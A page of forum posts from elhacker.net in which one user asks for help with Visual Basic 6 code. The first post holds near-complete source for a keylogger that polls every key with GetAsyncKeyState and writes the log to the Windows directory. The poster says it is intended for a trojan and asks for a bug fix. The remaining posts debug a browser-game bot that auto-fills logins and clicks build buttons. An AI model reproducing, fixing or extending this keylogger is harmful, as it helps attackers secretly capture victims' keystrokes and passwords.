elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 [2] 3 4
11  Programación / Programación Visual Basic / Ayuda con mi Keylogger en: 23 Febrero 2011, 17:57 pm
Bueno en primer lugar antes de que nadie diga nada. El codigo no es copiado, me base mucho en un code que vi, pero hay bastantes cosillas cambiadas. Desconozco el autor del code original pero en principio los comentarios estaban en ingles.

El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola     ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.

En el form:
Código
  1. Private Sub Command1_Click()
  2. Timer1.Enabled = True
  3. Timer2.Enabled = True
  4. Command1.Enabled = False
  5. Command2.Enabled = True
  6. End Sub
  7.  
  8. Private Sub Command2_Click()
  9. Timer1.Enabled = False
  10. Timer2.Enabled = False
  11. Command2.Enabled = False
  12. Command1.Enabled = True
  13. End Sub
  14.  
  15. Private Sub Form_Load()
  16. Command2.Enabled = False
  17. Timer1.Enabled = False
  18. caracter(33) = "[Pag Arriba]"
  19. caracter(34) = "[Pag Abajo]"
  20. caracter(35) = "[Fin]"
  21. caracter(36) = "[Inicio]"
  22. caracter(45) = "[Insertar]"
  23. caracter(46) = "[Supr]"
  24. caracter(48) = "="
  25. caracter(49) = "!"
  26. caracter(50) = "@"
  27. caracter(51) = "#"
  28. caracter(52) = "$"
  29. caracter(53) = "%"
  30. caracter(54) = "&"
  31. caracter(55) = "/"
  32. caracter(56) = "("
  33. caracter(57) = ")"
  34. caracter(186) = "`"
  35. caracter(187) = "+"
  36. caracter(188) = ","
  37. caracter(189) = "-"
  38. caracter(190) = "."
  39. caracter(191) = "}"
  40. caracter(219) = "{" '
  41. caracter(220) = "\"
  42. caracter(221) = "¡"
  43. caracter(222) = "{"
  44. caracter(86) = "^"
  45. caracter(87) = "*"
  46. caracter(88) = ";"
  47. caracter(89) = "_"
  48. caracter(90) = ":"
  49. caracter(91) = "?"
  50. caracter(119) = "?"
  51. caracter(120) = "|"
  52. caracter(121) = "¿"
  53. caracter(122) = """"
  54. caracter(96) = "0"
  55. caracter(97) = "1"
  56. caracter(98) = "2"
  57. caracter(99) = "3"
  58. caracter(100) = "4"
  59. caracter(101) = "5"
  60. caracter(102) = "6"
  61. caracter(103) = "7"
  62. caracter(104) = "8"
  63. caracter(105) = "9"
  64. caracter(106) = "*"
  65. caracter(107) = "+"
  66. caracter(109) = "-"
  67. caracter(110) = "."
  68. caracter(111) = "/"
  69. caracter(192) = "ñ"
  70. caracter(92) = "Ñ"
  71. End Sub
  72.  
  73. Private Sub Timer1_Timer()
  74. Dim teclas As Long
  75. For teclas = 65 To 90
  76.    If GetAsyncKeyState(teclas) = -32767 Then
  77.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  78.            If GetKeyState(VK_CAPITAL) > 0 Then
  79.                Text1.Text = Text1.Text & LCase(caracter(teclas))
  80.                Exit Sub
  81.            Else
  82.                Text1.Text = Text1.Text & UCase(caracter(teclas))
  83.                Exit Sub
  84.            End If
  85.        Else
  86.            If GetKeyState(VK_CAPITAL) > 0 Then
  87.                Text1.Text = Text1.Text & UCase(caracter(teclas))
  88.                Exit Sub
  89.            Else
  90.                Text1.Text = Text1.Text & LCase(caracter(teclas))
  91.                Exit Sub
  92.            End If
  93.        End If
  94.    End If
  95. Next
  96. For teclas = 48 To 57
  97.    If GetAsyncKeyState(teclas) = -32767 Then
  98.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  99.            Text1.Text = Text1.Text & caracter(teclas)
  100.            Exit Sub
  101.        Else
  102.            Text1.Text = Text1.Text & caracter(teclas)
  103.            Exit Sub
  104.        End If
  105.    End If
  106. Next
  107. For teclas = 186 To 192
  108.    If GetAsyncKeyState(teclas) = -32767 Then
  109.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  110.            Text1.Text = Text1.Text & caracter(teclas - 100)
  111.            Exit Sub
  112.        Else
  113.            Text1.Text = Text1.Text & caracter(teclas)
  114.            Exit Sub
  115.        End If
  116.    End If
  117. Next
  118. For teclas = 219 To 222
  119.    If GetAsyncKeyState(teclas) = -32767 Then
  120.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  121.            Text1.Text = Text1.Text & caracter(teclas - 100)
  122.            Exit Sub
  123.        Else
  124.            Text1.Text = Text1.Text & caracter(teclas)
  125.            Exit Sub
  126.        End If
  127.    End If
  128. Next
  129. For teclas = 96 To 111
  130.    If GetAsyncKeyState(teclas) = -32767 Then
  131.        If GetAsyncKeyState(VK_ALT) < 0 Then
  132.            Text1.Text = Text1.Text & caracter(teclas)
  133.            Exit Sub
  134.        Else
  135.            Text1.Text = Text1.Text & "[Alt]"
  136.            Exit Sub
  137.        End If
  138.    End If
  139. Next
  140. If GetAsyncKeyState(32) = -32767 Then
  141.    Text1.Text = Text1.Text & " "
  142. End If
  143. If GetAsyncKeyState(13) = -32767 Then
  144.    Text1.Text = Text1.Text & "Enter>" & vbCrLf
  145. End If
  146. If GetAsyncKeyState(8) = -32767 Then
  147.    If (Right(Text1.Text, 1)) = " " Then GoTo nod
  148.       tip = Len(Text1.Text) - 1
  149.       Text1.Text = Left(Text1.Text, tip)
  150. nod:
  151.    End If
  152.  
  153. If GetAsyncKeyState(37) = -32767 Then
  154.    Text1.Text = Text1.Text & "[Izquierda]"
  155. End If
  156.  
  157. If GetAsyncKeyState(38) = -32767 Then
  158.    Text1.Text = Text1.Text & "[Arriva]"
  159. End If
  160.  
  161. If GetAsyncKeyState(39) = -32767 Then
  162.    Text1.Text = Text1.Text & "[Derecha]"
  163. End If
  164.  
  165. If GetAsyncKeyState(40) = -32767 Then
  166.    Text1.Text = Text1.Text & "[Abajo]"
  167. End If
  168.  
  169. If GetAsyncKeyState(9) = -32767 Then
  170.    Text1.Text = Text1.Text & "[Tab]"
  171. End If
  172.  
  173. If GetAsyncKeyState(27) = -32767 Then
  174.    Text1.Text = Text1.Text & "[Escape]"
  175. End If
  176.  
  177. For teclas = 45 To 46
  178.    If GetAsyncKeyState(teclas) = -32767 Then
  179.        Text1.Text = Text1.Text & caracter(letras)
  180.    End If
  181. Next
  182. End Sub
  183.  
  184. Private Sub Timer2_Timer()
  185. GuardaLog
  186. End Sub

En el módulo:
Código
  1. Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  2. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Public caracter(255) As String
  4. Public Const VK_SHIFT = &H10
  5. Public Const VK_CTRL = &H11
  6. Public Const VK_ALT = &H12
  7. Public Const VK_CAPITAL = &H14
  8. Public AltDown As Boolean
  9.  
  10. Function GuardaLog()
  11. Dim ar As String
  12. Open Environ("windir") & "\keylog.txt" For Output As #1
  13. Print #1, Form1.Text1.Text
  14. Close #1
  15. End Function
  16.  
  17. Function LeeLog(archivo As String) As String
  18. Dim lee As String
  19. Open archivo For Input As #1
  20.    lee = Input(LOF(1), 1)
  21. Close #1
  22. LeeLog = lee
  23. End Function

El espacio es el código ascii 32 pero ahi no veo ningun problema.

Salu2 y gracias por adelantado.
12  Programación / Programación Visual Basic / Re: Ayuda Error 92 en tiempo de Ejecucion en: 18 Junio 2010, 22:27 pm
HE provado quitando el for y sigue el mismo error. Tambien he probado a que el msgbox tire el valor de la variable pero el error sigue siendo el mismo.



Salu2
13  Programación / Programación Visual Basic / Re: Ayuda Error 92 en tiempo de Ejecucion en: 18 Junio 2010, 19:05 pm
Lo unico que puede pasar es esto--->set var_value=hangar.getelementbytagname(label20.caption)
imagino que puede ser el causante.

Respondiendo a hunter 18. Resulta que rellena un campo input text con el numero de tropas y las veces que quieres que se repita la accion y le da a construir. El problema esk el boton no tiene asociado ni "name" ni "id" asi que tengo que usar getelementbytagname("input") para sacar todos los elementos input de la pagina en un array. Despues utilizo for each para buscar el input que tenga como valor "Construir" y si se cumple la condicion var_but.click clicka en el boton.

El for del principio repite el proceso de construccion tantas veces como se haya establecido en el programa. Digamos que es una especi de macro web.



Salu2
14  Programación / Programación Visual Basic / Re: Ayuda Error 92 en tiempo de Ejecucion en: 18 Junio 2010, 18:05 pm
Pero fijate, lo he declrado en option explicit y nada. No entiendo el motivo pero no reconoce el objeto.  Salu2
15  Programación / Programación Visual Basic / Ayuda Error 92 en tiempo de Ejecucion en: 16 Junio 2010, 21:55 pm
Estoy programando con webrowser una aplicación que automatice la construcción de unidades en un juego de navegador del estilo ogame.
El error salta en timepo de ejecución:


Error 91 en tiempo de ejecución:
Variable de tipo Object o la variable de tipo With no esta establecida.


La linea que señala el depurador es esta:

var_value.Value = Val(Text3.Text)


Código
  1. Option Explicit
  2. 'FIXIT: Declare 'doc' con un tipo de datos de enlace en tiempo de compilación              FixIT90210ae-R1672-R1B8ZE
  3. Dim doc As Object
  4. 'FIXIT: Declare 'var_input' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
  5. Dim var_input As Object
  6. 'FIXIT: Declare 'var_value' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
  7. Dim var_value As Object
  8. 'FIXIT: Declare 'var_but' con un tipo de datos de enlace en tiempo de compilación          FixIT90210ae-R1672-R1B8ZE
  9. Dim var_but As Object
  10. 'FIXIT: Declare 'hangar' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
  11. Dim hangar As Object
  12. Dim naves As String
  13. Private Sub Command1_Click()
  14. Set doc = WebBrowser1.Document
  15. Set var_input = doc.getelementbyid("username")
  16. var_input.Value = Text1.Text
  17. Set var_input = doc.getelementbyid("password")
  18. var_input.Value = Text2.Text
  19. Set var_but = doc.getelementbyid("submit")
  20. var_but.Click
  21. End Sub
  22.  
  23. Private Sub Command2_Click()
  24. Dim bucle As Long
  25. Dim cantidad As String
  26. For bucle = 1 To Val(Text4.Text)
  27. WebBrowser1.Navigate "http://uni3.zagamex.com.ar/game.php?page=buildings&mode=fleet"
  28. Set hangar = WebBrowser1.Document
  29. Set var_value = hangar.getelementbyid(Label20.Caption)
  30. var_value.Value = Val(Text3.Text)
  31. Set var_but = hangar.getelementbytagname("INPUT")
  32. 'FIXIT: Declare 'result' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
  33. Dim result
  34. For Each result In hangar.getelementbytagname("INPUT")
  35.    If result.Value = "Construir" Then var_but.Click
  36. Next
  37. Next
  38. End Sub
  39.  
  40. Private Sub Form_Load()
  41. Text1.Text = ""
  42. Text2.Text = ""
  43. Text3.Text = ""
  44. Text4.Text = ""
  45. WebBrowser1.Navigate "http://uni3.zagamex.com.ar"
  46. End Sub
  47. Private Sub Option1_Click()
  48. If Option1.Value = True Then Label20.Caption = "fmenge[202]"
  49. End Sub
  50. Private Sub Option2_Click()
  51. If Option2.Value = True Then Label20.Caption = "fmenge[203]"
  52. End Sub
  53. Private Sub Option3_Click()
  54. If Option3.Value = True Then Label20.Caption = "fmenge[204]"
  55. End Sub
  56. Private Sub Option4_Click()
  57. If Option4.Value = True Then Label20.Caption = "fmenge[205]"
  58. End Sub
  59. Private Sub Option5_Click()
  60. If Option5.Value = True Then Label20.Caption = "fmenge[206]"
  61. End Sub
  62. Private Sub Option6_Click()
  63. If Option6.Value = True Then Label20.Caption = "fmenge[207]"
  64. End Sub
  65. Private Sub Option7_Click()
  66. If Option7.Value = True Then Label20.Caption = "fmenge[208]"
  67. End Sub
  68. Private Sub Option8_Click()
  69. If Option8.Value = True Then Label20.Caption = "fmenge[209]"
  70. End Sub
  71. Private Sub Option9_Click()
  72. If Option9.Value = True Then Label20.Caption = "fmenge[210]"
  73. End Sub
  74. Private Sub Option10_Click()
  75. If Option10.Value = True Then Label20.Caption = "fmenge[211]"
  76. End Sub
  77. Private Sub Option11_Click()
  78. If Option11.Value = True Then Label20.Caption = "fmenge[212]"
  79. End Sub
  80. Private Sub Option12_Click()
  81. If Option12.Value = True Then Label20.Caption = "fmenge[213]"
  82. End Sub
  83. Private Sub Option13_Click()
  84. If Option13.Value = True Then Label20.Caption = "fmenge[214]"
  85. End Sub
  86. Private Sub Option14_Click()
  87. If Option14.Value = True Then Label20.Caption = "fmenge[215]"
  88. End Sub
  89. Private Sub Option15_Click()
  90. If Option15.Value = True Then Label20.Caption = "fmenge[216]"
  91. End Sub
  92.  
  93.  

HE leido sobre el error pero no termino de entender el motivo, si me lo pudieran explicar muy simple como para tontos lo agradeceria.

Gracias de antemano y Salu2
16  Programación / Programación Visual Basic / Re: Problema al cargar formulario en: 16 Junio 2010, 21:46 pm
Gracias por el consejo la verdad es que como ahora estoy aprendiendo no tengo muy en cuenta la memoria.

Salu2
17  Programación / Programación Visual Basic / Re: Problema al cargar formulario[Solucionado] en: 16 Junio 2010, 16:30 pm
Despues de un dolor de cabeza probe añadiendo un formulario vacio y asociandolo a otro boton. El caso es que esta vez si funcionaba. Aunque parezca estraño decirlo creo que es un error de mi VBA ya que en otras ocasiones me han pasaod cosas similares.
Copie el código y los objetos del formulario y los pegue en otro nuevo y por arte de magia funciono.


Gracias y Salu2
18  Programación / Programación Visual Basic / Re: Problema al cargar formulario en: 16 Junio 2010, 16:21 pm
Haber, es un bot para xnova el clon de ogame. El formualrio principal tiene los botones conectar, hangar, edificios, investigaciones y defensa.

El code del form1 es:

Código
  1. Dim doc As Object
  2. Dim var_input As Object
  3. Dim var_value As Object
  4. Dim var_but As Object
  5.  
  6. Private Sub Command1_Click()
  7. Set doc = WebBrowser1.Document
  8. Set var_input = doc.getelementbyid("username")
  9. var_input.Value = Text1.Text
  10. Set var_input = doc.getelementbyid("password")
  11. var_input.Value = Text2.Text
  12. Set var_but = doc.getelementbyid("submit")
  13. var_but.Click
  14. End Sub
  15.  
  16. Private Sub Command2_Click()
  17. Form2.Show
  18. End Sub
  19.  
  20. Private Sub Form_Load()
  21. Text1.Text = ""
  22. Text2.Text = ""
  23. WebBrowser1.Navigate "http://uni3.zagamex.com.ar"
  24. End Sub
  25.  

Al clickar sobre hangar deberia de verse el formulario2 (Form2)
Codigo Form2:

Código
  1. Dim hangar As Object
  2. Dim var_input As Object
  3. Dim var_value As Object
  4. Dim var_click As Object
  5. Dim bucle
  6.  
  7. Private Sub Command1_Click()
  8. Dim html
  9. If Option1.Enabled Then naves = "fmenge[202]"
  10. If Option2.Enabled Then naves = "fmenge[203]"
  11. If Option3.Enabled Then naves = "fmenge[204]"
  12. If Option4.Enabled Then naves = "fmenge[205]"
  13. If Option5.Enabled Then naves = "fmenge[206]"
  14. If Option6.Enabled Then naves = "fmenge[207]"
  15. If Option7.Enabled Then naves = "fmenge[208]"
  16. If Option8.Enabled Then naves = "fmenge[209]"
  17. If Option9.Enabled Then naves = "fmenge[210]"
  18. If Option10.Enabled Then naves = "fmenge[211]"
  19. If Option11.Enabled Then naves = "fmenge[212]"
  20. If Option12.Enabled Then naves = "fmenge[213]"
  21. If Option13.Enabled Then naves = "fmenge[214]"
  22. If Option14.Enabled Then naves = "fmenge[215]"
  23. If Option15.Enabled Then naves = "fmenge[216]"
  24.  
  25. For bucle = 1 To Val(Text1.Text)
  26. Form1.WebBrowser1.Navigate "http://uni3.zagamex.com.ar/game.php?page=buildings&mode=fleet"
  27. Set hangar = WebBrowser1.Document
  28. Set var_input = hangar.getelementbyid("val(naves)")
  29. Set var_input.Value = Text2.Text
  30. For Each html In hangar.getelementbytagname("input")
  31. If html.Value = "Construir" Then html.Click
  32. Next
  33. Next
  34. End Sub
  35.  
  36. Private Sub Form_Load()
  37. Text1.Text = ""
  38. Text2.Text = ""
  39.  
  40. Dim naves As String
  41. End Sub
  42.  
  43.  

19  Programación / Programación Visual Basic / Re: Problema al cargar formulario en: 16 Junio 2010, 15:35 pm
El formulario lo he hecho en el proyecto pero si pongo unicamente Form2.Show no lo carga.

La verdad me ha estrañado mucho el error.



Salu2
20  Programación / Programación Visual Basic / Problema al cargar formulario en: 16 Junio 2010, 14:58 pm
Resulta que estoy realizando un programa que haga macros web. NEcesito cargar distintos formularios que son activados por botones, pero mi problema es el siguiente:

Código
  1. Private Sub Command1_click()
  2. Load Form2
  3. Form2.Show



No lo carga me tira este error:

Error 404 en tiempo de ejecucion se requiere un objeto.

HE buscado el error pero no tiene sentido, los form no hay que declararlos asi que estoy perdido. Muchas gracias de antemano.


Salu2
Páginas: 1 [2] 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines